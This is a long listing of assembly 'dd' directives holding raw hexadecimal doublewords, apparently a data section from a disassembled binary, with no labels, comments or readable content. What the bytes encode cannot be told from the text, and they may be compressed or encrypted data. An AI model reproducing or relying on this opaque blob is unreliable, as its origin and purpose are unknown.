dd 8610429Ch, 0A0188884h, 0FE8CE9Ch, 28B6F569h, 2A74AFE0h
dd 0D20EFC8Bh, 20DE8567h, 1AB12F0Fh, 7C92B6h, 0ADE7600Bh
dd 0D67BD1D2h, 569DDF0Bh, 0B63B8031h, 0E07FDAh, 4C0AEAFBh
dd 20369273h, 21AFD41Fh, 0A4ED9480h, 0C598E6h, 7F87EE6Ah
dd 0F1DC7274h, 421DD900h, 867E887Ch, 0AEB00FDh, 11520473h
dd 1300702Fh, 339A2248h, 0EB9D61Ch, 26D84EDCh, 0C984DAE0h
dd 0EE02A405h, 74FFF4FCh, 4A98C025h, 0C53A002Fh, 1496463Eh
dd 0CB0C3F8h, 0B2EEF400h, 9250E593h, 10A00027h, 761B3CFFh
dd 220FD269h, 4C232h, 0FBDE5BBh, 0FB3F3D55h, 47ADB200h
dd 0DE972A4Bh, 0E36FD203h, 0C0E42892h, 4C14824Ah, 7A0EEAFBh
dd 62E14920h, 0E494D7E6h, 0BA00CBB4h, 93BB8DEAh, 5B3C754h
dd 4E10767Ch, 0D7D90159h, 0C0AEA963h, 0E2008C05h, 4FDFBD90h
dd 0D89666h, 0CB384C7h, 45BBEA35h, 0C0342700h, 6DACE0FAh
dd 25EE75h, 7B91671Bh, 0C7413C14h, 0A8666900h, 45DDFBA3h
dd 7A210305h, 2C40E567h, 0DCDF8880h, 0FDE0A400h, 17093257h
dd 0C4350068h, 0A9A51160h, 0CE0039FFh, 9612524Fh, 301B3FCBh
dd 0EC388BC7h, 1779D105h, 465F1F00h, 1C401A2Bh, 5A8BA63h
dd 16AD2AD8h, 96AF0D67h, 346266h, 0E063919h, 487DAC91h
dd 0F6000AD9h, 2E5E765Bh, 5600F9E8h, 5CB6E712h, 31773Bh
dd 9145F1C9h, 0A9CCD2BBh, 540004FCh, 0E14F95E6h, 0D1AC67h
dd 5C791FF2h, 4AF1EEC6h, 2B006078h, 297DA0BBh, 19EABA2h
dd 24F0050Dh, 307902E5h, 0D5798950h, 580137B0h, 0B25D0A0Bh
dd 20DCA6F2h, 3F2B00B9h, 0D3AB9F21h, 0B0596CE7h, 53E1004Ch
dd 0AEF244D5h, 0D68A0028h, 784CEEDAh, 7E3B8375h, 0F9AF80D7h
dd 0EAA5325h, 846800D6h, 65D90CDDh, 8E0073B4h, 5FF9EDD8h
dd 9896A1CEh, 0E856E214h, 309303C7h, 99428F17h, 48B61812h
dd 3400800h, 38A4320h, 0E67E70C5h, 68D0E855h, 7B00CA87h
dd 59510535h, 0E5526CB1h, 1F5BCE4h, 8A24983Ah, 80960420h
dd 0DD9516C1h, 2AC0D561h, 798F37Bh, 0C2799258h, 0AE0A10AFh
dd 3916550Dh, 0BE076E02h, 0ECE1D4DCh, 7D60374Bh, 8D97042Fh
dd 0C0D7D5B6h, 50F26E59h, 7C003549h, 0C6D7606h, 0F21C1B2Dh
dd 0CE2A33F7h, 80BFFA80h, 0B12EDBB0h, 0B6D4025h, 385E0E9Ch
dd 0EEEAA41h, 0FDEF33A5h, 0B0882D87h, 58AB14E6h, 66684B00h
dd 82C2CC28h, 87AE3CB6h, 0EB1A6500h, 7B10F653h, 0CA6F642Ch
dd 0A5F5EF03h, 85C0C7C4h, 0AC8835h, 65603FABh, 22E1208Dh
dd 5CC99200h, 86CA7FF6h, 3E4F006Dh, 0C189E260h, 0D001526h
dd 455EC56Bh, 6C55C44Eh, 4420600Bh, 0FE250F02h, 0E0FF1199h
dd 1767005h, 0D165406Ch, 0EF0FB3D8h, 260281Fh, 0FAA3D5C0h
dd 0E54069h, 2F51859Ah, 0C0BB4A66h, 65E16F07h, 0D2C3A2E6h
dd 37610068h, 0C5AE8899h, 7E7F60DFh, 9206FB07h, 1F08B11h
dd 7E0AE2EFh, 30ED639Ah, 97836C61h, 83EA201Eh, 0F60EB9C0h
dd 56A18BAh, 3D09D840h, 6800043h, 8C826972h, 71C361E2h
dd 788F11B8h, 0E01266B0h, 0DB00310Ah, 76E8ADD2h, 0FCDDBB28h
dd 0AB3E0E74h, 20C688E5h, 0F5E04018h, 0E8A0F051h, 0CE3FCBF7h
dd 0D990E08Ah, 533B4FEh, 603C89E1h, 8B242077h, 0BF8187CBh
dd 0F340088Ch, 58DA048h, 6175D2DAh, 122EB48h, 40B9E0C0h
dd 0E24443A9h, 0CB385FFCh, 0E141C82Dh, 405B200Ah, 8EE7DD78h
dd 292F2B20h, 5984E140h, 0B190A5Ch, 4AE6410Fh, 641DC880h
dd 176B0043h, 50A04463h, 52C0C816h, 14B184FFh, 49880960h
dd 4008194Bh, 0FC800A10h, 0A5775688h, 0AB1248A6h, 200A42CFh
dd 295688FCh, 88446184h, 0E00D0C8Bh, 36C14897h, 0C6E43824h
dd 0A01E6008h, 98FD4029h, 0E0A4D59h, 0C541D8EBh, 0BC4A3D40h
dd 565698F2h, 0CB0E547Ch, 0C0C43C8Fh, 22A00680h, 28E249A1h
dd 6D58DB21h, 3150A6E9h, 8058872Bh, 2948B8EAh, 9C58A4DAh
dd 0B298E65h, 8D5890C8h, 464084EDh, 35A5326Bh, 0C48E15D8h
dd 9094EC8Ah, 4274ACC9h, 4B51616Dh, 90413667h, 0E8423B84h
dd 0CE0A0F53h, 538FF890h, 8836528h, 192C9805h, 0C0409552h
dd 203FB0B9h, 74F1560Ch, 157FBB80h, 0B0A994D2h, 40788523h
dd 0AC78F101h, 0C85619B1h, 610B393Ch, 0D7C0D037h, 670EA65h
dd 8683C6Ch, 6B2BB09Bh, 4109B339h, 9F092B37h, 622E0A8h
dd 81C36AD5h, 0A1E9BE4Bh, 607E380h, 2DF008FDh, 512050C6h
dd 9C602B08h, 22C3E0ACh, 59C26D15h, 0C1828BABh, 34279C90h
dd 56BD86DCh, 8B023946h, 0A03F8185h, 0B8344F9Dh, 4A08CC8Ch
dd 0CE44EB39h, 8DC9Eh, 5864AEA7h, 18E81D11h, 0F124C400h
dd 0BC710B06h, 2B590049h, 0D85E6BDAh, 14019C05h, 40363A1h
dd 0FBE964A9h, 0DB583888h, 102C6D78h, 71EB5AF0h, 89180840h
dd 1E384E98h, 4F11D9C6h, 0A49D4301h, 2E8B864h, 7D1C9CD8h
dd 0C75610ABh, 39A30C16h, 0ED6D68A2h, 0ADE9F8D0h, 33D38174h
dd 7174083h, 30E1F353h, 58080F30h, 10CCD1E2h, 57B8081Ch
dd 0E9C180EEh, 889F8BBFh, 8FEE351h, 0D80851F8h, 22203CEEh
dd 8CED582Bh, 0FF0239E3h, 62C3E17Ch, 0E7B848CEh, 0FC0C8CBEh
dd 897EC084h, 984F4023h, 77D97666h, 94B63E9h, 2037E2ADh
dd 0E4C508ACh, 11BF9C7Ch, 15CF6h, 64FB6503h, 0CAFC9F78h
dd 0F894E508h, 452291C9h, 7BFE20Dh, 6C5869BDh, 0BB1841B3h
dd 0BE10B9B4h, 8F9808BCh, 0DCEB0CA1h, 0C251DF60h, 0F183D5A4h
dd 9589E9D8h, 0B03C4A38h, 44FF69F0h, 46634320h, 0B981B870h
dd 62F9F868h, 7894D8D0h, 93781F6Bh, 3858066Ch, 0C5286090h
dd 0C1638CD7h, 8EDD7808h, 80257510h, 0A4A1D267h, 38948CEFh
dd 0C3BA091Bh, 0A79BF8A0h, 0B075202Bh, 0BFA161EEh, 0A3011E10h
dd 479054B3h, 0C832D88Ch, 35114C19h, 1328A0BEh, 8B81090h
dd 907637DDh, 41DAD442h, 1C277418h, 64DBDEC1h, 837995E5h
dd 44D839CCh, 78BA63CCh, 78E1B568h, 2860BA06h, 1819C459h
dd 0EEE0FB9Ah, 76380889h, 40FC703Eh, 71AB6831h, 3801BDE3h
dd 2D580167h, 46268507h, 8DE41BCh, 0C0F47757h, 51C2AB4Fh
dd 16C3801Dh, 72622492h, 83A93858h, 51D3F89Ch, 7198F008h
dd 0E980822h, 0C60BD880h, 0F0B83819h, 690A46Fh, 31088441h
dd 0CF40868Bh, 15080385h, 945BF808h, 0FE40E73Ah, 7B808C6h
dd 909C6F11h, 1808898Ch, 98BBF633h, 40085151h, 77B8F000h
dd 6428CDA0h, 994EF110h, 0C821E909h, 55380888h, 666B7803h
dd 67983168h, 206D4108h, 6E40D668h, 0F808C385h, 2024626Ah
dd 980C7CC6h, 40EB0954h, 6F666569h, 4009EA20h, 9531B850h
dd 6A4470B6h, 2004509Dh, 686BCC33h, 380812C1h, 8E4845E7h
dd 0B840592h, 9D900A91h, 485C28E4h, 0E43110D6h, 0F2731808h
dd 4D8AC02h, 9558043Ch, 42B85C80h, 9238C4D9h, 0E0AF04DFh
dd 4F7E3C82h, 910281A4h, 11D5CFBh, 0B8402F23h, 0CAD39BD8h
dd 24E4B348h, 845037D0h, 4909F78h, 0B9086242h, 93220344h
dd 5919312Ch, 7710BD6Bh, 81F80886h, 0CA4018BEh, 1A514418h
dd 3D7808C4h, 1937B806h, 20B26520h, 7067B39Ch, 19C85B11h
dd 2488194Eh, 9CEB9FCh, 0A760B94Ch, 26E25025h, 0B64909F1h
dd 49F62254h, 0F92444EDh, 220E914Ch, 0F188449Fh, 97125089h
dd 67487E24h, 0E8224991h, 8954DB44h, 494C1242h, 8412D148h
dd 463BA22h, 15288546h
dd 807928A8h, 38807CB8h, 60916AD4h, 0C8DA4730h, 0CA11C819h
dd 15C7801h, 5801C018h, 4989123Fh, 9030CF48h, 386040B8h
dd 808166Fh, 33DA91EBh, 0CC88211Ah, 0A4023894h, 838D27D8h
dd 2C83B2D8h, 8C40DD90h, 56A88A80h, 7138D566h, 48981810h
dd 0C4EA88B1h, 0C6DC18C4h, 78DE3483h, 406B4808h, 0E2B1F80Ch
dd 0E140F010h, 3118B083h, 6E099A58h, 4A9897F4h, 78982004h
dd 0D008237Ch, 381EE0B4h, 58D36FFEh, 12C8844Ch, 257092EDh
dd 829804Ch, 0A43B4118h, 0BDF8B460h, 134E301Fh, 0B36E4361h
dd 68C22492h, 4834458h, 3E4A49E9h, 1062F2D8h, 1319EB05h
dd 0BC1C33A3h, 1812D190h, 9860069Eh, 0A1F0C0C9h, 18EEC8ABh
dd 689210F0h, 0B230F344h, 64684920h, 31BC8510h, 0CBF810EBh
dd 1980889h, 8606826h, 0A265F798h, 0B4924318h, 0C56449FAh
dd 5FF80888h, 8194B809h, 6E9718B4h, 1F4B0892h, 12B61070h
dd 6C04D138h, 0B8D31DD8h, 0B8080CDAh, 5A58B471h, 763144B2h
dd 6B19186Ah, 485C2893h, 203C10A4h, 87182482h, 1EA28944h
dd 0C80A54BCh, 0A4E184E0h, 0A2D58389h, 0CA85C314h, 989C012Ch
dd 20271EADh, 0F293469Dh, 0E32049D2h, 73826A2h, 40B81AD0h
dd 0F30C10BCh, 41994662h, 0A84B59C3h, 781EA312h, 0F2119F04h
dd 23157BD3h, 81B478AFh, 8B42999Fh, 0A75A0331h, 12486058h
dd 0D67C4A95h, 0BA0DD878h, 0E2921E22h, 1E689270h, 47118A26h
dd 0D314A70Dh, 0A3C07788h, 0E3F0F2BBh, 0AA18C80Eh, 0DD466309h
dd 0BF2098D2h, 1A5300F4h, 960550B8h, 0E1A0CC17h, 4B310311h
dd 894A4088h, 0C4BEC3E0h, 3CC92348h, 0E97011BCh, 25AC109Eh
dd 3864E33Eh, 86C6863h, 4ED4E36h, 90658C01h, 94F54311h
dd 5B15088Ch, 8C319D8h, 315C7CE3h, 430881A0h, 5711905Dh
dd 194E8318h, 30C56237h, 800CB15Ah, 3C2308B5h, 0E15FA6EFh
dd 15989BC9h, 0F2B0B908h, 12543804h, 2CC46519h, 0A6CB6CE1h
dd 0FE1C0398h, 0BE218E5Bh, 857E4EA0h, 0A8E4C100h, 87197652h
dd 3B980030h, 69C34849h, 590CE24Ah, 30E6B5A3h, 19EC74B1h
dd 8F4FD6Eh, 73AE00F8h, 40EEF8F1h, 1C648E68h, 84680E60h
dd 0F8894008h, 0D0030649h, 413340EBh, 231B58F9h, 7C40CE40h
dd 88E02ABEh, 2E80FBE3h, 80B4630Fh, 5031BBE4h, 0CD4E08D6h
dd 1920F013h, 1EAE32ECh, 0A348E68h, 58869B43h, 0F1B0BB84h
dd 0F6FDAE68h, 0F74048C6h, 0FAAA3040h, 5C02FBB0h, 0B365C8F8h
dd 0B47C1E10h, 0CCAF1155h, 0C3231450h, 0BE8E08B0h, 0BCCD14EDh
dd 0E745CE0Ch, 78DD7BE0h, 0E1088E1Bh, 0C807F031h, 11C20E0Ch
dd 0DE8E80AEh, 80CB4E80h, 6E80F72Eh, 0EE21CCF2h, 0F1401119h
dd 0CE08C40Ah, 27CC1F4Dh, 0C45810F2h, 4564E08h, 0EE047F2Eh
dd 8A1486Bh, 6E08960Eh, 8CD8948Fh, 9F7637Ch, 1833FB5Ch
dd 0BE4E08DFh, 0EF24011h, 60FC1A33h, 8E08106Dh, 0AB407CA5h
dd 21DE63AEh, 403AFD05h, 64C1407Bh, 93F618F9h, 920F120h
dd 3A0E7DEDh, 1D245C04h, 0FC18F94Ch, 4840FBD7h, 0C0E35083h
dd 0CC228AEh, 8B76CECh, 20F109C0h, 20C6A188h, 4990A253h
dd 0EFF05C18h, 15446E3Eh, 0EEB03363h, 61228CE8h, 0F8E34189h
dd 0CEF80F8Bh, 8E68B062h, 170E025Dh, 0EC835C4Fh, 1807644Ah
dd 0C8FEC369h, 4893172Eh, 21F096E0h, 0A339C43Ch, 43AE04FBh
dd 1BBF4093h, 8BB0E98h, 1120BDC3h, 0BA6E31B7h, 99970FB9h
dd 1A093A30h, 0A3DBC5Fh, 79591518h, 0F3492803h, 8A6322Ch
dd 18E30897h, 9FFD08A0h, 0AB8718C6h, 0ACE03358h, 80CD7A8h
dd 0E8B24ECEh, 8E08C477h, 1700D225h, 0CBC0E22h, 19576E09h
dd 0A4BDC1DCh, 0E3112AACh, 0F28034B2h, 0F620789Ah, 0C6DE75FCh
dd 70F9A718h, 88086828h, 0BC91C64h, 2B3E6148h, 5FE0E413h
dd 89AB4945h, 4E798643h, 6A70EFD3h, 33A47847h, 168A8E70h
dd 8706C484h, 7C14C51Ch, 27117CF8h, 2318B055h, 0A42E60FAh
dd 81AED8C4h, 0A9EA492h, 0EDD93180h, 0BE120201h, 0A22004ECh
dd 28406C8h, 6F4C783h, 0CA160AEh, 166895FAh, 0BBB0F7C0h
dd 8083FF82h, 0C889CD63h, 692C8852h, 98BCEE00h, 0E0AC152Bh
dd 9D8C92F7h, 15C399C5h, 1848947Ch, 317BA142h, 0C49A6AA3h
dd 84030D24h, 0F0841015h, 4467AFFEh, 686203B2h, 20BAE40h
dd 80BE0F8Eh, 0B7607B0Ch, 4DE34175h, 0DC241CCAh, 78329004h
dd 0C17C1256h, 5848C41Bh, 0EED54310h, 2048BE83h, 95F0366Eh
dd 0D1CE08C4h, 3FB1E34Ch, 12F8AB65h, 1546987Ch, 0D8E7C8ABh
dd 60BA2318h, 94AF11CEh, 0DD732B81h, 830182D5h, 9C38A864h
dd 8CB9908Fh, 71998FD9h, 2E2A4063h, 0C3880B57h, 0C6D5518Dh
dd 36C32239h, 0B88B854h, 88B874ADh, 8844E7FAh, 4E0834A3h
dd 14FDF80Eh, 39C4A6FCh, 8E05D903h, 47C0464Eh, 0D5640A5h
dd 4947C17Ch, 0E311C615h, 0CCDC640Bh, 0AF08A040h, 0FAE58780h
dd 438CF8C8h, 0AD074172h, 0F988827Ch, 2327D355h, 7F8250Bh
dd 0F9C47C6Dh, 862320BEh, 0FC78832Ch, 804A3196h, 68D87809h
dd 0EC673FD9h, 7C3263C0h, 0B60930FEh, 0DAF30C74h, 0C379C55Dh
dd 0EE386C62h, 0C74B608h, 0A7933477h, 7140A339h, 7444560Eh
dd 0A7B4ACC1h, 0A603116Ah, 46AE388Ah, 2244D854h, 322B9022h
dd 46E1A3E3h, 690854B6h, 8DA32611h, 1EE18A43h, 0E72F0454h
dd 234457A1h, 402E0591h, 11B2C47Ch, 128E0738h, 84820483h
dd 3C70B63Fh, 0D9120164h, 38D42684h, 700FCE45h, 9821261Ch
dd 0A1C371B2h, 31BC0E4Ch, 0C1CE088Ah, 48561196h, 8E0685B4h
dd 61D0A297h, 0DAAE0889h, 0CB6898ABh, 4104CE08h, 6E02C2BCh
dd 0A54E0375h, 32A11120h, 4209920Eh, 550CA8BEh, 0A9CE1599h
dd 0A844AA3h, 0F8A84140h, 8A2259D9h, 0C8032C9Eh, 0A83C9568h
dd 372B03F0h, 8C396169h, 8ACE380Ch, 1A08A836h, 8B9F03B3h
dd 442F0943h, 0BDB070B5h, 0FF20B060h, 2F233B84h, 15537062h
dd 88473CE1h, 56B2E08h, 0AA7D88Eh, 0F8803EBCh, 3A10FD3Dh
dd 831B8092h, 41BE5936h, 0C1843D57h, 730A0F15h, 5B634188h
dd 794F0E0Fh, 885F3D98h, 7F69AD06h, 0C3184128h, 0B7C80C5Bh
dd 3838CAACh, 0E31BF88Ch, 41358B31h, 37122CA3h, 63F07CB6h
dd 2B9B7722h, 60743A03h, 254394E3h, 4984BA8Bh, 885777Ch
dd 0C0799EEh, 4E0892BCh, 400C654Ah, 40AE0872h, 9663CE99h
dd 319B7611h, 4E086E70h, 9DF064A3h, 0BF649092h, 0EE02B911h
dd 8C43B03Fh, 3A5709F6h, 0F521C1ACh, 431134CDh, 0AEA88883h
dd 36333B9Dh, 807E78A1h, 66AE6940h, 684309C5h, 0A0C0EE52h
dd 0EDE8834Bh, 8C062311h, 0C09EB6E9h, 81C4AF34h, 0A07B056Eh
dd 0C883017Fh, 33AEA08Ah, 0F0C7F8C8h, 3940BE31h, 885F3363h
dd 0E5B5A306h, 0C32A3194h, 3656C424h, 0D6BAC770h, 203958F6h
dd 4E300FA3h, 0F58E080Bh, 62A8C696h, 355680A0h, 84F7CE78h
dd 3454B22h, 0A4984D66h, 7CB6FE91h, 9EF72E04h, 0E3047EFDh
dd 9200E08Eh, 0C48C4E80h, 0E8BAE08h, 0EE0AB02Eh, 0CFC0F8Eh
dd 60A0A1B9h, 3008A265h, 18029C7Ch, 71FFF3D9h, 2F89DB43h
dd 11779C5Fh, 181B673Ch, 3F99FC23h, 0A208C80Ah, 140B8E06h
dd 9C325798h, 0DD39BFC0h, 838082CDh, 2C49C824h, 0EE291990h
dd 935E50A0h, 4962B131h, 4E015D63h, 6DEE0172h, 1352098Ah
dd 584518A0h, 0B49A658Eh, 0C0983157h, 0E2A7AA56h, 0D3C38181h
dd 680E5018h, 0AF2CCE08h, 8DB19E9Ch, 61A1AD23h, 2B41952Ch
dd 0C1B3F390h, 31102ADh
dd 70399573h, 0D02D3190h, 88C5A6Eh, 0EED03A4Eh, 7F985FF9h
dd 42A92911h, 8809E314h, 864AE19h, 88BEC62Eh, 271F0608h
dd 0CA4384F5h, 8EE0C11h, 1240324Eh, 8CBE2D50h, 0E9228970h
dd 0CD2331B0h, 8CECCE40h, 48438E08h, 9428572Eh, 0EC8F82C3h
dd 832091F6h, 276E2BD5h, 0FB02E384h, 393CCDF3h, 27716563h
dd 11B0807Ch, 10481662h, 0AE15E9C3h, 0F1B7782Ah, 88CB6239h
dd 0CF4A339h, 0E781EEEh, 0C1742956h, 3A230258h, 52420311h
dd 0E8C564B4h, 6C128441h, 83E3398Ch, 9A4CE4E9h, 0AA0A1BE8h
dd 0E0D2B540h, 880BE64h, 106B73C7h, 508C438Ch, 806257EEh
dd 910D63C1h, 8F231117h, 7C653995h, 1252FB0h, 197C9320h
dd 30971F83h, 67C5B65h, 816764C2h, 0CA631939h, 8BEFD896h
dd 6145AE08h, 0C8653800h, 891F7C1Eh, 518298EFh, 89CAF5C3h
dd 0D3637C60h, 0A96029B6h, 85AB8220h, 0A321C123h, 0FC60A629h
dd 8E08C55Eh, 4B847C5Fh, 1B16CB11h, 412E0319h, 73EE0182h
dd 51A20999h, 76905F62h, 0C62E611h, 38BFE319h, 846C142Eh
dd 28E2083Ah, 430B7BE5h, 21942626h, 618E2408h, 79B4F804h
dd 7CA7AB11h, 0F4390131h, 5C08959Fh, 0D7D1F084h, 81B4678Dh
dd 0F0397C83h, 0A81108D6h, 41BAB17Ch, 84128F5h, 30A0DAE4h
dd 60570704h, 0C7C0DB32h, 4313C101h, 3B21835Ah, 0B3B4A5B7h
dd 0DCD780CAh, 5208CCD2h, 0BF001C21h, 0CE6ACFA5h, 0D08801h
dd 0D86665A8h, 5E3AE2F3h, 7DB10F00h, 64192427h, 0CC8330E8h
dd 40470718h, 0E12E601Fh, 4C7E045h, 3806E85h, 3C655BDBh
dd 10D0285Fh, 64153h, 0C8C055Ch, 0FC60E97Ah, 0B06F1950h
dd 41C48163h, 80DEBC8Ah, 4D13FAE9h, 3F1F640Ch, 9E6E072h
dd 9A0021E9h, 0A4414D0Bh, 5DF0E2h, 5303764Ch, 3E917BFBh
dd 2610DB0Ah, 48398E5h, 0B0BB9AB0h, 33923FBFh, 0C8089763h
dd 0A81F2100h, 0E3AFD9Ah, 0B2E9078Ch, 0E03E6A5Fh, 0C48F9890h
dd 68A9B4A8h, 10C076ECh, 47BD4EE2h, 8C7E34h, 0B573D0F5h
dd 5CED1D78h, 90A46500h, 0BA88CDA3h, 0C4110027h, 182F31A7h
dd 0E600DAC3h, 0DDC53B96h, 3D8EEA9Dh, 0AA3AFA46h, 0DE6FD720h
dd 0FB9309h, 0C51476D5h, 7B00BB88h, 3CBD8B06h, 58E68F1Fh
dd 39602FBAh, 2CDFB945h, 0D23F6F01h, 5A9257CBh, 440F48BEh
dd 0BAE1550Eh, 0D5938F50h, 0D76080E9h, 6F02F40Ah, 21F30673h
dd 8CB6BBBh, 2921D460h, 0F5202FCh, 44BD2AEEh, 49E6B626h
dd 0F6019146h, 23737502h, 88D50C22h, 23FFE27h, 1D3480B9h
dd 0C148B53Eh, 0B00A6380h, 0C80C3A2Fh, 0D18A6EC2h, 42362AEEh
dd 6BEF084h, 0A73CFEF2h, 0C8080B1h, 0C1015E71h, 0E788CAA8h
dd 7CDF8F0Ch, 67567E20h, 0C2BD18AEh, 0C20EAD1Bh, 21B7D53Eh
dd 40B94314h, 932CE768h, 4F4185FDh, 0DCC0CBDBh, 8A88F6h
dd 21848BEFh, 0D33BBBA1h, 1FF21174h, 0FE984700h, 620176EEh
dd 0FA1800D6h, 9DAAF0BFh, 900008DFh, 0B02AC871h, 555C32h
dd 3EE2BCD9h, 6E060AFh, 8CB6523Ah, 30514EC6h, 60F0F829h
dd 71871832h, 0DA001322h, 36388289h, 1A0E02Eh, 0C23216AAh
dd 0D51F6AB9h, 57A240C7h, 0D3009C1Ah, 3B910FF8h, 0FE8FD38h
dd 0D26044ACh, 1EC5A9A3h, 0E96431A8h, 0E2BDC200h, 40672972h
dd 0E7680689h, 0A8035E08h, 20C7C5F0h, 6C81BC91h, 0B8BEDE59h
dd 2E0D8400h, 6AADCADCh, 5B2F0B00h, 387656FBh, 69A31DDAh
dd 0DB8506F5h, 2205D09Ch, 0C1F126A4h, 983C8841h, 0E9F0EC69h
dd 4AC30090h, 0F7068053h, 123376ADh, 0DB0728B2h, 0D4C1003Ch
dd 9E750B63h, 9AEC2DDDh, 8886C100h, 0AA2E7167h, 0EA653B2Ch
dd 9637B980h, 17392FFCh, 47C82700h, 78B3DE22h, 153E1942h
dd 5F3C193Ah, 0E6FFE004h, 0F4F100B6h, 22686F16h, 507D9D36h
dd 32F7641Dh, 5F316318h, 383467A0h, 4714F7A5h, 0C721F7A6h
dd 0F134CAA1h, 834C4B22h, 2E5EFCh, 0A0C6E810h, 1F146509h
dd 0A221DC0Bh, 0C58407D6h, 0C486FC5h, 32756462h, 0C15199Eh
dd 0D0218676h, 0C45A1064h, 4E228736h, 5232FC1Bh, 660C4E19h
dd 84B57786h, 0A9218243h, 0C4C84A90h, 247C7E65h, 726CA9F7h
dd 18A95A0Ch, 0A9390C86h, 0AE0C6A0Ch, 0C9624A9h, 7A0CA9B9h
dd 4486980Ch, 5CFCC76Eh, 2119F922h, 6804D7DFh, 0E3481A02h
dd 8FE29980h, 49FC251Dh, 51000026h, 0E7BE2747h, 870034BFh
dd 9F31E1DEh, 0FC36A9h, 0F2F061FFh, 69C862E2h, 0F599911Dh
dd 0C652901Fh, 0BAEB2441h, 0C8532228h, 2061AA2Dh, 890ED8BCh
dd 3A556380h, 9904E772h, 0C05DD403h, 322A57C5h, 0CA7C50A0h
dd 6CF61F3Bh, 3016A094h, 1B8930D0h, 0EA6F4DFEh, 2233C3A8h
dd 0A438E9E6h, 0B3768882h, 1C952301h, 0EE41179Ch, 1A2CDD0Fh
dd 8FB55840h, 69BF84Eh, 0A9BF268Ch, 0CC005015h, 0D2A560ECh
dd 0C734D017h, 57F07D59h, 8580CCACh, 0EF939000h, 0EA940560h
dd 0C8325229h, 250C8E3Ch, 3E5191BFh, 0A64633Eh, 142A3ABDh
dd 68E4CC8Ch, 716436Ch, 0C7A293EEh, 0E94A8E20h, 0E3E80540h
dd 12FB5FEh, 5B11F5C0h, 8DF88E29h, 49BD206Eh, 0E0FA03E1h
dd 5A9E0066h, 0C9871B97h, 0B9C885CBh, 0C09686F8h, 0A2009975h
dd 0C52D15Ah, 97E84E4h, 69FEF828h, 70D2A0A0h, 53065F14h
dd 0A5FF924Bh, 43EE2819h, 81346468h, 0EBCA3C38h, 0A8D2DECCh
dd 1D858DC8h, 433A03h, 0BE7EEF9Dh, 0B805C964h, 1479BFC1h
dd 1095C04Ch, 0D5A9DEF1h, 0EA0CF48Ch, 7889F9FEh, 77B4F650h
dd 518F562h, 142003Bh, 9CA0E47Eh, 0A663C4FCh, 3110FFF8h
dd 60184239h, 2AB700C7h, 0B6E31DE7h, 2C223E2Bh, 841DFF29h
dd 0A6E7C04Fh, 0C044117Dh, 0C3A7BD91h, 823E1F2Dh, 0B4F724CAh
dd 0BC87E78Ah, 1061EC0Fh, 0C53E7C56h, 839447A4h, 4AE5B866h
dd 0D13C7EA0h, 50ACD949h, 13EB6148h, 8014B484h, 0DA1CA33h
dd 0A178F10Ch, 3AF0401Dh, 0C91496E4h, 7504A092h, 81C82A19h
dd 0D2F75954h, 1FB59484h, 0BDB77707h, 3A80D52Fh, 0BE8F1DBFh
dd 0A2790A18h, 0FC2207CAh, 73FFA3EFh, 0D5A115B1h, 0BF408A56h
dd 8C115041h, 222CE30Eh, 59083253h, 12536423h, 5F25E08Ch
dd 50118974h, 320A642Fh, 0E7B78AD4h, 0C9EC08C4h, 77718D98h
dd 2DBD149Ah, 27A0301Ah, 8854553h, 0E20463EBh, 2709A2EEh
dd 5FCE4804h, 0F0698886h, 2D1E0930h, 4803C14Fh, 81DCC0FDh
dd 0C87D14h, 0F41D51h, 1123E96Bh, 0EFA4DC20h, 9400109Bh
dd 54644004h, 0E9F3052Fh, 4812C76h, 2177DA8h, 804CFF9Fh
dd 0D7301E28h, 48A33AC6h, 0A0A66014h, 0BC832449h, 0EDF85A03h
dd 9850B794h, 409051E0h, 286720h, 685FDE7Ah, 2DBEE5D5h
dd 65299C04h, 8CCE1E01h, 84B1F610h, 5082E50Bh, 0AF741656h
dd 0F11D5F09h, 0D258B018h, 2864EE02h, 0E60B11h, 0C7A6CA3Ch
dd 0D4701E50h, 0FF2422EAh, 56809CB0h, 0CE2EE328h, 90182C3Eh
dd 23A30144h, 67FF99CBh, 0C0F07748h, 0A89C3401h, 0D3EDB9CBh
dd 99F88425h, 0D1CC69ADh, 1058B808h, 9C7C8135h, 0E9B22DA9h
dd 0ACC1C9B8h, 2610BBEDh, 9F4740DFh, 310FE2B0h, 3AF4AEFh
dd 0CDBAA520h, 0D8572102h, 0A9E0032Ch, 1F848084h, 50EC8E30h
dd 84B218A8h, 83B9C819h, 76ECD569h, 349E48EFh, 0A240DF88h
dd 0F6C0A32Fh, 6901EC5Fh, 9480D11Fh, 0CEF12CF7h, 23106506h
dd 1E6998ECh, 146478A0h, 3020089Ah, 0AA23AB47h, 2005FF09h
dd 1BD61E98h, 81D6784h, 0FE69E71Ch, 71DA075h, 438000F0h
dd 0A39CA1D4h, 0B8420400h
dd 1B4DE2E4h, 7DF103AFh, 6A078845h, 285126D2h, 0FBCA9D40h
dd 141130E6h, 0BCE48D19h, 0C5A01E54h, 888CED14h, 51DE03E4h
dd 25EEC31h, 9A82F641h, 0CC40E8DCh, 2924D892h, 5B407CDBh
dd 17BDC70Fh, 1DCF4E23h, 0F0D00137h, 22BADE91h, 2046C420h
dd 2910C810h, 1FF862FCh, 0C892ECh, 651C75D0h, 0F07BF12Dh
dd 0D0AAB6A4h, 318D55C0h, 633FD9CFh, 0B1996583h, 518028E8h
dd 64147C47h, 0B03C39C7h, 23BC1B5Bh, 0A570E011h, 0A2B7841h
dd 46E29AD0h, 0A5EF4430h, 0E74808F4h, 1C267507h, 1960CBF9h
dd 80E9EAAEh, 7F81716h, 395CFC34h, 80DB2AC3h, 0FD5E387h
dd 0AA1DC979h, 9959CCA0h, 0D0B9D846h, 0C92CBF0Ch, 0D07D0035h
dd 0B6CE1EFCh, 0F00D8C2h, 0F40D68DFh, 0B745FAh, 90BBA78Eh
dd 7564E47Ah, 11382A62h, 0C2E8A046h, 0FBC1DBh, 643DDA88h
dd 5CB0F1EDh, 8DE16B06h, 1D285ADEh, 9DEF4716h, 0E9394450h
dd 4A708812h, 9D10171Fh, 0BAC17C01h, 75EC37DEh, 0BBE40F1Fh
dd 0F12F1C53h, 8D0E2680h, 0FF2283FAh, 957E06B4h, 12B83598h
dd 9BCFAB00h, 0BE5B4BA1h, 0FF5700EDh, 9DEF8186h, 0E4028F8Ah
dd 19E08C5Fh, 0C910C1FBh, 0DA93F4h, 15AC3E2Bh, 951C915Ah
dd 6603017Eh, 0C842790Fh, 26F8002Eh, 0BA54CF69h, 0DDA1EF11h
dd 39BDF153h, 0A02B0424h, 4701C7DAh, 800FFC99h, 7F75F050h
